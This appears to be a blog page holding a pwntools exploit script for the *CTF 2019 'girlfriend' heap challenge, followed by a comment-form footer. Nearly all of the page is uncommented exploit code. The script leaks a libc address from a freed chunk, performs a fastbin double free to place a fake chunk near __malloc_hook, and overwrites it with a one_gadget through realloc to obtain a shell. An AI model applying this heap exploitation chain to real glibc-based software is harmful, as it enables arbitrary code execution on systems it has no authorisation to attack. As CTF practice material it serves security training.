1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59
| from pwn import* from LibcSearcher import *
p=process("./starctf_2019_girlfriend") context.log_level="debug" libc=ELF('./libc-2.23.so') def debug(): gdb.attach(p) sleep(1) def add(size,content1,content2): p.sendlineafter('Input your choice:','1') p.sendlineafter("girl's name",str(size)) p.sendlineafter('please inpute her name:',content1) p.sendlineafter('please input her call:',content2)
def show(index): p.sendlineafter('Input your choice:','2') p.sendlineafter('Please input the index:',str(index)) def free(index): p.sendlineafter('Input your choice:','4') p.sendlineafter('Please input the index:',str(index))
add(0x80,'aaaa','bbbb') add(0x60,'cccc','ssss') add(0x60,'dddd','eeee') free(0)
show(0)
p.recvuntil('name:') main_arena=u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) print('main_arena'+hex(main_arena)) malloc_hook=main_arena-88-0x10 base=malloc_hook-libc.sym['__malloc_hook']
free(2) free(1) free(2) one = [0x45226, 0x4527a, 0xf03a4, 0xf1147] one_gadget=base+one[3] realloc=libc.sym['realloc']+base
add(0x60,p64(malloc_hook-0x23),p64(malloc_hook-0x23)) add(0x60,'cccc','dddd') add(0x60,'dddd','eeee') print('one_gadget='+hex(one_gadget)+' malloc-0x23='+hex(malloc_hook-0x23)+' realloc='+hex(realloc))
payload=b'a'*(0x13-8)+p64(one_gadget)+p64(realloc+2) add(0x60,payload,'cccc') debug() p.sendafter('Input your choice:','1')
p.interactive()
|
评论区
欢迎你留下宝贵的意见,昵称输入QQ号会显示QQ头像哦~